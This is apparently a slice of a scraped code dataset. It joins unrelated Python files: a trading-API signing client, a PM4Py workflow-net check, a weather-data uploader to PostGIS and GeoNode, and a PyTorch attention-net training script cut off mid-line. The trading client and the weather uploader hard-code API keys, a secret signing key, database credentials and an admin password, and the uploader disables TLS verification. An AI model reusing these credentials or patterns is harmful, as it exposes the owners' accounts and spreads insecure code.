f1(x)\r\nwhile(abs(x-x1)>1e-8 and n!=0):\r\n x = x1\r\n x1 = x - f1(x)\r\n print('迭代第' + str(count) + '次,','x=',str(x1))\r\n count+=1\r\n n-=1\r\nif n==0:\r\n print('迭代失败！')\r\n","repo_name":"JYSNL/Grade2-numerical-calculation","sub_path":"数值计算实验2-牛顿迭代法求方程的根.py","file_name":"数值计算实验2-牛顿迭代法求方程的根.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41823570649","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport base64\nimport datetime\nimport hashlib\nimport hmac\nimport json\nimport time\nimport urllib\nimport urllib.parse\nimport urllib.request\nimport requests\nimport coincurve\nfrom urllib import parse\nfrom binascii import hexlify, unhexlify\n\n# 此处填写APIKEY\n\nACCESS_KEY = \"R8gHSqzBiSX\"\nSECRET_KEY = \"dad44786f7adb2132cfedb76f3491b52421a0695d9d2387258c3c963c1334c67\"\n\n\n\n# API 请求地址\nMARKET_URL = \"http://47.96.116.164:6602\"\nTRADE_URL = \"http://47.96.116.164:6602\"\n\n# 首次运行可通过get_accounts()获取acct_id,然后直接赋值,减少重复获取。\nACCOUNT_ID = None\n\n#'Timestamp': '2017-06-02T06:13:49'\n\ndef http_request(url, params,method, add_to_headers=None):\n headers = {\n \"Content-type\": \"application/json\",\n }\n if add_to_headers:\n headers.update(add_to_headers)\n # postdata = urllib.parse.urlencode(params)\n postdata = json.dumps(params)\n # print(postdata)\n # print(url)\n if method == 'POST':\n response = requests.post(url,data = postdata,headers= headers )\n else:\n response = requests.get(url) \n try:\n \n if response.status_code == 200:\n print(response.json()) \n else:\n print(response.text) \n except BaseException as e:\n print(\"httpGet failed, detail is:%s,%s\" %(response.text,e))\n return\n\ndef ecsign(rawhash, key):\n pk = coincurve.PrivateKey(key)\n signature = pk.sign_recoverable(rawhash, hasher=None)\n signature = base64.b64encode(signature)\n return signature\n\ndef hmacsha256(message):\n bmsg = str.encode(message)\n return hmac.new(key=b'', msg=bmsg, digestmod=hashlib.sha256).digest();\n\n\ndef api_key_req(method,params, request_path):\n timestamp = str(int(time.time()))\n \n params_to_sign = {\n 'SignatureMethod': 'HmacSHA256',\n 'SignatureVersion': '1',\n 'apiKey': ACCESS_KEY,\n 'Timestamp': timestamp}\n if method == 'GET':\n params_to_sign.update(params) \n host_url = TRADE_URL\n host_name = urllib.parse.urlparse(host_url).hostname\n params_sort = sorted(params_to_sign.items(), key=lambda d: d[0], reverse=False)\n # print(params_sort)\n # host_name = host_name.lower()\n signature = createSign(params_sort, method, host_name, request_path, SECRET_KEY)\n # print(params_to_sign['Signature'])\n # print(params_to_sign)\n url = host_url + request_path + '?' + urllib.parse.urlencode(params_sort) + '&'+'Signature='+parse.quote(signature)\n\n return http_request(url, params,method)\n\n\ndef createSign(pParams, method, host_url, request_path, secret_key): \n encode_params = urllib.parse.urlencode(pParams)\n payload = [method, host_url, request_path, encode_params]\n payload = '\\n'.join(payload)\n hashed = hmacsha256(payload)\n # print(hashed)\n\n signature = ecsign(hashed,unhexlify(secret_key))\n return signature\n\ndef order_req():\n method = 'POST'\n url = \"/test1/R8gHSqzBiSX/orders/batch/create\"\n\n params = {\"ords\":[\n {\"side\":\"S\",\"mkt\":\"ETC_ETH\",\"price\":\"1\",\"qty\":\"2\"}]}\n\n api_key_req(method,params, url)\n\ndef query_trd():\n method = 'GET'\n url = \"/test1/R8gHSqzBiSX/records/ordnum\"\n params = {'ordNum':'2018111921899018240'}\n api_key_req(method,params, url)\n\ndef main():\n begin_time = time.time();\n count =0\n# while(time.time() - begin_time < 1):\n for i in range(12):\n query_trd()\n count +=1\n print(count)\n\nif __name__ == '__main__':\n main()","repo_name":"gitkai2333/hello-word","sub_path":"AccessFunc.py","file_name":"AccessFunc.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26859017268","text":"import json\n\nimport pkg_resources\nfrom loguru import logger\n\n\ndef get_resource(fname: str = \"\", package: str = \"resources\"):\n fullname = pkg_resources.resource_filename(\"ds4biz_textractor.\" + package,\n fname) # f\"resources/{fname}\") # @Undefined\n return fullname\n\n\ndef get_secret(secret_name: str):\n try:\n with open('/run/secrets/{0}'.format(secret_name), 'r') as secret_file:\n value = secret_file.read()\n value = json.loads(value)\n except Exception as inst:\n logger.warn(f\"can't find secrets with name {secret_name}\")\n value = {}\n finally:\n return value\n","repo_name":"loko-ai/loko-textractor","sub_path":"utils/resources_utils.py","file_name":"resources_utils.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22342857044","text":"'''\n This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de).\n\n PM4Py is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n PM4Py is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with PM4Py. If not, see .\n'''\nimport copy\n\nfrom pm4py.objects.petri_net.utils import petri_utils as pn_utils\nfrom pm4py.objects.petri_net.obj import PetriNet\nfrom typing import Optional, Dict, Any\n\n\ndef _short_circuit_petri_net(net):\n \"\"\"\n Creates a short circuited Petri net,\n whether an unique source place and sink place are there,\n by connecting the sink with the source\n\n Parameters\n ---------------\n net\n Petri net\n\n Returns\n ---------------\n boolean\n Boolean value\n \"\"\"\n s_c_net = copy.deepcopy(net)\n no_source_places = 0\n no_sink_places = 0\n sink = None\n source = None\n for place in s_c_net.places:\n if len(place.in_arcs) == 0:\n source = place\n no_source_places += 1\n if len(place.out_arcs) == 0:\n sink = place\n no_sink_places += 1\n if (sink is not None) and (source is not None) and no_source_places == 1 and no_sink_places == 1:\n # If there is one unique source and sink place, short circuit Petri Net is constructed\n t_1 = PetriNet.Transition(\"short_circuited_transition\", \"short_circuited_transition\")\n s_c_net.transitions.add(t_1)\n # add arcs in short-circuited net\n pn_utils.add_arc_from_to(sink, t_1, s_c_net)\n pn_utils.add_arc_from_to(t_1, source, s_c_net)\n return s_c_net\n else:\n return None\n\n\ndef apply(net: PetriNet, parameters: Optional[Dict[Any, Any]] = None) -> bool:\n \"\"\"\n Checks if a Petri net is a workflow net\n\n Parameters\n ---------------\n net\n Petri net\n parameters\n Parameters of the algorithm\n\n Returns\n ---------------\n boolean\n Boolean value\n \"\"\"\n if parameters is None:\n parameters = {}\n\n import networkx as nx\n\n scnet = _short_circuit_petri_net(net)\n if scnet is None:\n return False\n nodes = scnet.transitions | scnet.places\n graph = nx.DiGraph()\n while len(nodes) > 0:\n element = nodes.pop()\n graph.add_node(element.name)\n for in_arc in element.in_arcs:\n graph.add_node(in_arc.source.name)\n graph.add_edge(in_arc.source.name, element.name)\n for out_arc in element.out_arcs:\n graph.add_node(out_arc.target.name)\n graph.add_edge(element.name, out_arc.target.name)\n if nx.algorithms.components.is_strongly_connected(graph):\n return True\n else:\n return False\n","repo_name":"pm4py/pm4py-core","sub_path":"pm4py/algo/analysis/workflow_net/variants/petri_net.py","file_name":"petri_net.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","stars":604,"dataset":"github-code","pt":"82"} +{"seq_id":"14070090314","text":"class Solution:\n def arrayRankTransform(self, arr: [int]) -> [int]:\n arr2=[]\n res=[]\n for ch in arr:\n arr2.append(ch)\n arr2=list(set(arr2))\n arr2.sort()\n for ch in arr:\n res.append(arr2.index(ch)+1)\n return res\nif __name__ == '__main__':\n s = Solution()\n print(s.arrayRankTransform([8,3,1,4]))\n","repo_name":"QingTiao/leetcode","sub_path":"1331_arrayRankTransform.py","file_name":"1331_arrayRankTransform.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73195163789","text":"#!/usr/bin/python3\n\n# Python program to find current weather details \n# of an location using openweathermap api\n\n\nimport os\nimport shutil\n#import time\nfrom datetime import datetime\nfrom sqlalchemy import create_engine, text\nimport requests, json\nimport pandas as pd\nimport geopandas as gpd\n \n# curl query:\n# curl \"https://api.openweathermap.org/data/2.5/onecall?lat=51.509865&lon=-0.118092&exclude=minutely,hourly,alerts&appid=65d4508050d5008b768b660a688651ad\" | python -mjson.tool\n# Turkey Fields: 40.137442, 28.383499\n \n# Enter your API key here\napi_key = \"65d4508050d5008b768b660a688651ad\"\n \n# base_url variable to store url\nbase_url = \"https://api.openweathermap.org/data/2.5/onecall?\"\n\n# Variables\nlocation = [\"Kassow\",\"Karacabey\",\"Les Moeres\"]\nuni = [\"ru\",\"bursa\",\"ugent\"]\npostgreSQLTable = [\"ru_weather\",\"bursa_weather\",\"ugent_weather\"]\n\nlon = [\"12.079214\",\"28.383499\",\"2.55874\"]\nlat = [\"53.869024\",\"40.137442\",\"51.02979\"]\n\ndf_out = None\n\nfor i in range(0, 3):\n print(postgreSQLTable[i])\n\n # complete_url variable to store complete url address\n complete_url = base_url + \"appid=\" + api_key + \"&lat=\" + lat[i] + \"&lon=\" + lon[i] + \"&exclude=minutely,hourly,alerts\"\n\n # get method of requests module return response object\n response = requests.get(complete_url)\n\n # convert json format data into python format data:\n x = response.json()\n\n #print(type(x))\n #print(json.dumps(x, sort_keys=True, indent=4))\n\n # read the response (x) into a dataframe:\n df = pd.DataFrame(x['daily'])\n\n # normalize nested 'temp' data:\n df_temp = pd.json_normalize(df['temp'])\n\n # add rain column, if not exists\n if 'rain' not in df.columns:\n df[\"rain\"] = 0\n\n # subset of the dataframe:\n df = df[[\"dt\",\"rain\",\"humidity\",\"dew_point\",\"wind_speed\",\"clouds\",\"uvi\"]]\n df_temp = df_temp['day']\n \n # concat the two dataframes horizontally:\n df = pd.concat([df, df_temp], axis=1)\n\n # add lat & lon & location\n df['lon'] = lon[i]\n df['lat'] = lat[i]\n df['location'] = location[i]\n\n # rename time column:\n df = df.rename(columns={\"dt\":\"date\",\"day\":\"temp\"})\n \n # kelvin to celsius\n df['temp'] = df['temp'] - 273.15\n df['dew_point'] = df['dew_point'] - 273.15\n\n # fill NaN with Null\n df = df.fillna(0)\n\n # convert from unix time to python datetime:\n df['date'] = pd.to_datetime(df['date'],unit='s')\n df['date'] = df['date'].dt.date\n\n #print(df.dtypes)\n #print(df)\n\n ## Upload to local database\n alchemyEngine = create_engine('postgresql+psycopg2://postgres:postgres@127.0.0.1:5432/postgres');\n postgreSQLConnection = alchemyEngine.connect();\n try:\n frame = df.to_sql(postgreSQLTable[i], alchemyEngine, index=False, if_exists='append')\n print(\"append sucessfull\") \n # Delete duplicates: (ctid > t.ctid -> delete original row ; ctid < t.ctid -> delete new row)\n SQL = (\"DELETE FROM {} t WHERE EXISTS (SELECT FROM {} WHERE date = t.date AND ctid > t.ctid);\"\n .format(postgreSQLTable[i],postgreSQLTable[i]))\n #print(SQL)\n with alchemyEngine.connect() as con:\n con.execute(text(SQL))\n con.commit()\n except TypeError:\n print(\"trying to create table\", postgreSQLTable[i])\n frame = df.to_sql(postgreSQLTable[i], alchemyEngine, index=False, if_exists='fail');\n finally:\n postgreSQLConnection.close();\n \n ## Save as a shapefile\n folder = 'outputFiles/current_' + uni[i] + '_weather_forecast'\n file = 'current_' + uni[i] + '_weather_forecast'\n \n # Transform python datetime object to an string (shapefile can only read str and numbers)\n df['date'] = df['date'].astype(str)\n\n # Transform DataFrame into a GeoDataFrame\n gdf = gpd.GeoDataFrame(df, geometry=gpd.points_from_xy(df.lon, df.lat))\n\n # Add projection\n gdf.crs = 'epsg:4326'\n\n # Create a new directory if it does not exist\n isExist = os.path.exists(folder)\n if not isExist:\n os.makedirs(folder)\n\n # Export data as shapefile\n print('exporting: current_weather_forecast.shp')\n gdf.to_file(folder , driver='ESRI Shapefile')\n\n ## Upload the data\n # create and open (temporary) zip file)\n shutil.make_archive(folder, 'zip', folder)\n\n # Upload to geonode\n try:\n with open(folder +'.zip', 'rb') as f:\n data = f.read()\n url = 'https://geoportal.addferti.eu/geoserver/rest/workspaces/' \n response = requests.put(\n url + 'geonode/datastores/' + file + '/file.shp',\n headers={'Content-type': 'application/zip'},\n data=data,\n verify=False,\n auth=('admin', 'addferti')\n )\n print(folder +'.zip uploaded' )\n except FileNotFoundError:\n print(folder + \" file not found\")\n\n","repo_name":"AlexSteiger/fertigationMap","sub_path":"rainForecastAdapter/openWeatherMapAPI.py","file_name":"openWeatherMapAPI.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16318233606","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nimport torch\nimport pandas as pd\nimport numpy as np\nimport random\nimport itertools\nimport math\nimport os\n\nimport matplotlib\n#matplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nimport torch.nn as nn\nimport torch.autograd as autograd\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.nn.init as init\n\nfrom torch.autograd import Variable\nfrom torch.utils.data.dataset import Dataset\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\n\nfrom neural_network import Attention_Net\nfrom neural_network import Linear_Net\nfrom datasets import GlobalModelDataset\n\nimport sklearn\nfrom sklearn.decomposition import PCA\n\n\n########### FUNCTIONS\n\ndef l1_penalty(var):\n return torch.abs(var).sum()\n\ndef l2_penalty(var):\n return torch.sqrt(torch.pow(var,2).sum())\n\ndef get_inner_class_distance(df, sample_list, order = 2):\n distance = 0\n list_num = len(sample_list)\n combines = itertools.combinations(sample_list,2)\n com_number = 0\n for combine in combines:\n #print(\"haha\")\n d = df.loc[combine[0],combine[1]]\n com_number += 1\n #print(combine)\n distance += pow(float(d), order)\n #print(com_number)\n distance = distance/float(com_number)\n return distance\n\ndef get_inter_class_distance(df, class_1_list, class_2_list, order = 2):\n distance = 0\n class_1_num = len(class_1_list)\n class_2_num = len(class_2_list)\n for name_i in class_1_list:\n inter_d = 0\n for name_j in class_2_list:\n d = df.loc[str(name_i),str(name_j)]\n inter_d += pow(float(d), order)\n inter_d = inter_d/class_2_num\n distance += inter_d\n distance = distance/class_1_num\n return distance\n\n\ndef get_entropy(dist_list):\n data_number = len(dist_list)\n data_dimension = len(dist_list[0])\n prob_list = []\n entropy = 0\n for i in range(data_dimension):\n prob_list.append(float(0))\n for dist in dist_list:\n prob_list[dist.index(max(dist))] += 1\n for i in range(data_dimension):\n prob_list[i] = float(prob_list[i])/data_number\n for prob in prob_list:\n if prob != float(0):\n entropy += - prob * math.log(prob)\n return entropy\n\n\ndef evaluate_model_inner_inter_distance(model, sample_number = 10, combines = (4,4), order = 2):\n class_1_inner_distance_list = []\n class_2_inner_distance_list = []\n class_1_star_inner_distance_list = []\n class_2_star_inner_distance_list = []\n inter_distance_list = []\n class_1_num = 8\n class_2_num = 8\n class_1_star_num = combines[0]\n class_2_star_num = combines[1]\n name_list = model.item_list\n \n for i in range(sample_number):\n class_1_sample = random.sample(range(32),class_1_num)\n class_2_sample = random.sample(range(32,64),class_2_num)\n class_1_star_sample = random.sample(class_1_sample, class_1_star_num)\n class_2_star_sample = random.sample(class_2_sample, class_2_star_num)\n star_sample = class_1_star_sample + class_2_star_sample\n\n cross_sample_name_list = []\n class_1_sample_name_list = []\n class_2_sample_name_list = []\n class_1_star_sample_name_list = []\n class_2_star_sample_name_list = []\n\n for i in class_1_star_sample:\n class_1_star_sample_name_list.append(name_list[i])\n for i in class_2_star_sample:\n class_2_star_sample_name_list.append(name_list[i])\n for i in star_sample:\n cross_sample_name_list.append(name_list[i])\n for i in class_1_sample:\n class_1_sample_name_list.append(name_list[i])\n for i in class_2_sample:\n class_2_sample_name_list.append(name_list[i])\n\n\n ## Test for debug\n #print(class_1_star_sample_name_list)\n #print(class_2_star_sample_name_list)\n #print(cross_sample_name_list)\n #print(class_1_sample_name_list)\n #print(class_2_sample_name_list)\n\n\n \n cross_test_input = []\n for name in name_list:\n if name in cross_sample_name_list:\n cross_test_input.append(1)\n else:\n cross_test_input.append(0)\n\n\n class_1_test_input = []\n for name in name_list:\n if name in class_1_sample_name_list:\n class_1_test_input.append(1)\n else:\n class_1_test_input.append(0)\n\n class_2_test_input = []\n for name in name_list:\n if name in class_2_sample_name_list:\n class_2_test_input.append(1)\n else:\n class_2_test_input.append(0)\n\n ### Debug\n #print(len(cross_test_input))\n #print(sum(cross_test_input))\n #print(len(class_1_test_input))\n #print(sum(class_1_test_input))\n #print(len(class_2_test_input))\n #print(sum(class_2_test_input))\n\n ##### Create Input\n cross_test_input = torch.from_numpy(np.array(cross_test_input)).unsqueeze(0).float()\n class_1_test_input = torch.from_numpy(np.array(class_1_test_input)).unsqueeze(0).float()\n class_2_test_input = torch.from_numpy(np.array(class_2_test_input)).unsqueeze(0).float()\n\n #### Get Output\n cross_test_output = model.forward(cross_test_input)\n class_1_test_output = model.forward(class_1_test_input)\n class_2_test_output = model.forward(class_2_test_input)\n\n #### Get Output Matrix\n cross_matrix = model.get_output_matrix(cross_test_input, cross_test_output, pandas = True)\n class_1_matrix = model.get_output_matrix(class_1_test_input, class_1_test_output, pandas = True)\n class_2_matrix = model.get_output_matrix(class_2_test_input, class_2_test_output, pandas = True)\n\n\n #### Get D11, D22, D11*, D22*, D12*\n class_1_inner_distance = get_inner_class_distance(class_1_matrix, class_1_sample_name_list, order = order)\n class_2_inner_distance = get_inner_class_distance(class_2_matrix, class_2_sample_name_list, order = order)\n cross_class_1_inner_distance = get_inner_class_distance(cross_matrix, class_1_star_sample_name_list, order = order)\n cross_class_2_inner_distance = get_inner_class_distance(cross_matrix, class_2_star_sample_name_list, order = order)\n cross_inter_distance = get_inter_class_distance(cross_matrix, class_1_star_sample_name_list, class_2_star_sample_name_list, order = order)\n\n class_1_inner_distance_list.append(class_1_inner_distance)\n class_2_inner_distance_list.append(class_2_inner_distance)\n class_1_star_inner_distance_list.append(cross_class_1_inner_distance)\n class_2_star_inner_distance_list.append(cross_class_2_inner_distance)\n inter_distance_list.append(cross_inter_distance)\n\n #### Get Average Distance\n class_1_inner_distance = np.mean(class_1_inner_distance_list)\n class_2_inner_distance = np.mean(class_2_inner_distance_list)\n class_1_star_inner_distance = np.mean(class_1_star_inner_distance_list)\n class_2_star_inner_distance = np.mean(class_2_star_inner_distance_list)\n inter_distance = np.mean(inter_distance_list)\n return class_1_inner_distance, class_2_inner_distance, class_1_star_inner_distance, class_2_star_inner_distance, inter_distance\n \n\n##########################################################################\nlifelog_itemlist = \"/home/li/datasets/lifelog/itemlist.csv\"\nlifelog_data = pd.read_csv(lifelog_itemlist)\ngroup_path = \"/home/li/datasets/lifelog/Group1_64.txt\"\ngroup_list = []\ngroup_item_name_list = []\n\n\nwith open(group_path,\"r\") as g_f:\n for line in g_f.readlines():\n group_list.append(int(line.strip()))\n group_item_name_list.append(lifelog_data.loc[int(line.strip()) - 1,\"Name\"])\n\n################## PARAMS\n## Constant\nADAM = \"Adam\"\nSGD = \"SGD\"\nL0 = \"L0\"\nL1 = \"L1\"\nL2 = \"L2\"\nMSE = \"MSE\"\nWD = \"000001\"\nATTENTION = \"attention_net\"\nLINEAR = \"linear_net\"\nRELU = \"relu\"\nSIGMOID = \"sigmoid\"\n\n\n## Train Params\nNET = ATTENTION\nBATCH_SIZE = 10\nLEARNING_RATE = 0.05\nWEIGHT_DECAY = torch.tensor(0.000001).float()\nQUERY_DIM = 9\nKEY_DIM = 6\nFEATURE_DIM = 5\nEPOCH = 10000\nMOMENTUM = 0.9\nREG = L0\nACT = SIGMOID\nOPTIMIZER = SGD\n\n## Evaluation Params\nEVA_SAMPLE_NUMBER = 30\nBETAS = (0.9,0.999)\nLOSS = MSE\nCV_NUM = 2\n\nTEST_NUMBER = 100\n\n\nif __name__ == '__main__':\n ############## Data Preparation ###################\n username = \"artificial\"\n\n #extra = \"LI_Mofei_Data_200_R_1_NL_00_LogF_True_epoch_\" + str(EPOCH)\n extra = \"Artificial_Data_LogF_True_epoch_\" + str(EPOCH)\n model_path = \"/home/li/torch/model/\" + str(extra) + \"_\" + str(NET) + \"_u_\" + str(username) + \"_Q_\" + str(QUERY_DIM) + \"_K_\" + str(KEY_DIM) + \"_F_\" + str(FEATURE_DIM) + \"_REG_\" + str(REG) + \"_ACT_\" + str(ACT) + \"_WD_\" + str(WD) + \"_CV.model\" \n train_log_path = \"/home/li/torch/model/train_log/\" + str(NET) + \"_u_\" + str(username) + \"_Q_\" + str(QUERY_DIM) + \"_K_\" + str(KEY_DIM) + \"_F_\" + str(FEATURE_DIM) + \"_REG_\" + str(REG) + \"_ACT_\" + str(ACT) + \"_WD_\" + str(WD) + \".txt\" \n\n #input_csv = \"/home/li/torch/data/Data_Input_200_LI_Mofei_20190518.csv\"\n #output_csv = \"/home/li/torch/data/Data_Output_200_LI_Mofei_20190518.csv\"\n\n input_csv = \"/home/li/torch/artificial_data/artificial_data_200_20190911_input.csv\"\n output_csv = \"/home/li/torch/artificial_data/artificial_data_200_20190911_output.csv\"\n dataset = GlobalModelDataset(input_csv, output_csv, log_function = True)\n\n print(dataset.data_num)\n plot_path = \"/home/li/torch/plot/20190911/\"\n\n #eva_extra = \"LogF_True_NL_00_li_mofei\"\n eva_extra = \"LogF_True_Artificial_epoch_\" + str(EPOCH)\n evaluation_path = \"/home/li/torch/evaluation/datanumber_600_K_\" + str(KEY_DIM) + \"_\" + str(REG) + str(eva_extra) + \"/\"\n #coeff_path = \"/home/li/torch/artificial_data/coefficient_logF_True_LI_Mofei_200_NL_00_test_\" + str(NET) + \"_epoch_\" + str(EPOCH) + \"_Q_\" + str(QUERY_DIM) + \"_K_\" + str(KEY_DIM) + \"_F_\" + str(FEATURE_DIM) + \"_REG_\" + str(REG) + \"_WD_\" + str(WD) + \".txt\"\n coeff_path = \"/home/li/torch/artificial_data/coefficient_logF_True_\" + str(NET) + \"_Q_\" + str(QUERY_DIM) + \"_K_\" + str(KEY_DIM) + \"_F_\" + str(FEATURE_DIM) + \"_REG_\" + str(REG) + \"_WD_\" + str(WD) + \"_EPOCH_\" + str(EPOCH) + \".txt\"\n\n if not os.path.exists(evaluation_path):\n os.mkdir(evaluation_path)\n\n if not os.path.exists(plot_path):\n os.mkdir(plot_path)\n\n data_num = dataset.data_num\n sample_data_num = int(data_num/CV_NUM)\n\n if CV_NUM == 1:\n train_data_num = sample_data_num\n test_data_num = 0\n else:\n train_data_num = data_num - sample_data_num\n test_data_num = sample_data_num\n\n splits_list = []\n for i in range(CV_NUM):\n splits_list.append(sample_data_num)\n splits_list = tuple(splits_list)\n\n datasets = torch.utils.data.random_split(dataset, splits_list)\n\n dataloader_list = []\n for ds in datasets:\n dataloader = DataLoader(dataset = ds,\n batch_size = BATCH_SIZE,\n shuffle = True,\n num_workers = 0)\n dataloader_list.append(dataloader)\n\n data_num = dataset.data_num\n\n sample_data_num = int(data_num/CV_NUM)\n\n params = (QUERY_DIM,KEY_DIM,FEATURE_DIM)\n\n ## Attention Net\n if NET == ATTENTION:\n net = Attention_Net(dataset, params, activation = ACT)\n ## Linear Net\n elif NET == LINEAR:\n net = Linear_Net(dataset, FEATURE_DIM)\n\n\n\n ## Optimizer\n if OPTIMIZER == SGD:\n optimizer = torch.optim.SGD(net.parameters(), lr = LEARNING_RATE, momentum = MOMENTUM)\n elif OPTIMIZER == ADAM:\n optimizer = torch.optim.Adam(net.parameters(), lr = LEARNING_RATE, betas = BETAS)\n\n ## Loss\n loss_function = torch.nn.MSELoss()\n\n #### Print Parameters\n #for name,param in net.named_parameters():\n # if param.requires_grad:\n # print(name)\n #print(param)\n ###################### Training ############### Cross Validation\n #attention_net.train()\n #print(dataloader)\n train_loss_list = []\n test_loss_list = []\n test_loss_log_list = []\n\n entropy_list = []\n \n for epoch in range(EPOCH):\n train_loss_each_epoch_list = []\n test_loss_each_epoch_list = []\n\n dist_list = []\n\n for i in range(CV_NUM):\n test_dataloader = dataloader_list[i]\n train_dataloader_list = dataloader_list[:i] + dataloader_list[i+1:] \n\n net.train()\n #print(len(train_dataloader_list))\n ###### Train\n train_loss_each_sample_list = []\n for dataloader in train_dataloader_list:\n \n train_loss_each = 0\n for im,label in dataloader:\n l0_regularization = torch.tensor(0).float()\n l1_regularization = torch.tensor(0).float()\n l2_regularization = torch.tensor(0).float()\n\n if NET == ATTENTION:\n out,dist = net.forward(im)\n elif NET == LINEAR:\n out = net.forward(im)\n mse_loss = loss_function(out,label)\n\n ## Regularization\n for param in net.parameters():\n l1_regularization += WEIGHT_DECAY * torch.norm(param,1)\n l2_regularization += WEIGHT_DECAY * torch.norm(param,2)\n\n if REG == L0:\n loss = mse_loss + l0_regularization\n elif REG == L1:\n loss = mse_loss + l1_regularization\n elif REG == L2:\n loss = mse_loss + l2_regularization\n \n train_loss_each += mse_loss.item()/sample_data_num\n \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n train_loss_each_sample_list.append(train_loss_each)\n #print(len(train_loss_each_sample_list))\n #print(len(train_loss_each_sample_list))\n train_loss_each_epoch_list.append(np.mean(train_loss_each_sample_list))\n\n\n ############ Test\n test_loss_each = 0\n net.eval()\n for im,label in test_dataloader:\n if NET == ATTENTION:\n out,dis = net.forward(im)\n dist = list(dis[0].detach().numpy())\n dist_list.append(dist)\n elif NET == LINEAR:\n out = net.forward(im)\n #out = linear_net.forward(im)\n mse_loss = loss_function(out,label)\n test_loss_each += mse_loss.item()/sample_data_num\n\n test_loss_each_epoch_list.append(test_loss_each)\n\n entropy = get_entropy(dist_list)\n entropy_list.append(entropy)\n\n train_loss = np.mean(train_loss_each_epoch_list)\n test_loss = np.mean(test_loss_each_epoch_list)\n train_loss_list.append(train_loss)\n test_loss_list.append(test_loss)\n test_loss_log_list.append(math.log(test_loss))\n\n info1 = \"Epoch: \" + str(epoch) + \" , Train Loss: \" + str(train_loss)\n info2 = \"Epoch: \" + str(epoch) + \" , Test Loss: \" + str(test_loss)\n print(info1)\n print(info2)\n if NET == ATTENTION:\n info3 = \"Epoch: \" + str(epoch) + \" , Distribution: \" + str(dis)\n print(info3)\n \n \n\n print(model_path)\n torch.save(net.state_dict(), model_path)\n\n model = net\n\n #### PLOT\n figure = \"Learning_Curve\" \n plt_file = plot_path + str(figure) + \"_\" + str(extra) + \"_\" + str(NET) + \"_u_\" + str(username) + \"_Q_\" + str(QUERY_DIM) + \"_K_\" + str(KEY_DIM) + \"_F_\" + str(FEATURE_DIM) + \"_REG_\" + str(REG) + \"_ACT_\" + str(ACT) + \"_WD_\" + str(WD) + \".png\"\n #plt.plot(range(len(train_loss_list)), train_loss_list, label = \"train loss\")\n plt.plot(range(len(test_loss_log_list)), test_loss_log_list, label = \"log train loss\")\n plt.legend(loc = \"upper right\")\n plt.savefig(plt_file)\n plt.close('all')\n\n figure = \"Entropy_Curve\"\n plt_file = plot_path + str(figure) + \"_\" + str(extra) + \"_\" + str(NET) + \"_u_\" + str(username) + \"_Q_\" + str(QUERY_DIM) + \"_K_\" + str(KEY_DIM) + \"_F_\" + str(FEATURE_DIM) + \"_REG_\" + str(REG) + \"_ACT_\" + str(ACT) + \"_WD_\" + str(WD) + \".png\"\n plt.scatter(test_loss_log_list, entropy_list, label = \"Entropy\")\n #plt.xlim((0,0.005))\n plt.ylim((0,1))\n plt.legend(loc = \"upper right\")\n plt.savefig(plt_file)\n plt.close('all')\n\n\n ##### Test\n item_list = model.item_list\n\n class_1_list = item_list[:32]\n class_2_list = item_list[32:]\n\n print(item_list)\n \n #embedding = MDS(n_components = 2, dissimilarity = \"precomputed\")\n\n d11_list = []\n d22_list = []\n d11_star_list = []\n d22_star_list = []\n d12_star_list = []\n\n dist_list = []\n \n\n for i in range(TEST_NUMBER):\n ## Group 1\n\n group1_list = random.sample(class_1_list, 8)\n\n input_test = []\n for item in item_list:\n if item in group1_list:\n input_test.append(1)\n else:\n input_test.append(0)\n \n input_torch = torch.from_numpy(np.array(input_test)).unsqueeze(0).float()\n output,dist = model.forward(input_torch)\n output_large_matrix = model.get_output_matrix(input_torch, output, pandas = True)\n output_matrix = model.get_output_small_matrix(input_torch, output, pandas = False)\n output_df = model.get_output_small_matrix(input_torch, output, pandas = True)\n\n d11 = get_inner_class_distance(output_large_matrix, group1_list, order = 1)\n d11_list.append(d11)\n #pos = embedding.fit_transform(output_matrix)\n dist = list(dist[0].detach().numpy())\n dist_list.append(dist)\n\n csv_path = evaluation_path + \"group1_test\" + str(i) + \".csv\"\n if i % 10 == 0:\n output_df.to_csv(csv_path)\n\n bar_path = evaluation_path + \"group1_test_bar\" + str(i) + \".png\"\n plt.bar(range(len(dist)), dist, color = 'b')\n if i % 10 == 0:\n plt.savefig(bar_path)\n plt.close('all')\n\n ## Group 2\n group2_list = random.sample(class_2_list, 8)\n\n input_test = []\n for item in item_list:\n if item in group2_list:\n input_test.append(1)\n else:\n input_test.append(0)\n\n input_torch = torch.from_numpy(np.array(input_test)).unsqueeze(0).float()\n output,dist = model.forward(input_torch)\n output_large_matrix = model.get_output_matrix(input_torch, output, pandas = True)\n output_matrix = model.get_output_small_matrix(input_torch, output, pandas = False)\n output_df = model.get_output_small_matrix(input_torch, output, pandas = True)\n\n d22 = get_inner_class_distance(output_large_matrix, group2_list, order = 1)\n d22_list.append(d22)\n #pos = embedding.fit_transform(output_matrix)\n dist = list(dist[0].detach().numpy())\n dist_list.append(dist)\n\n csv_path = evaluation_path + \"group2_test\" + str(i) + 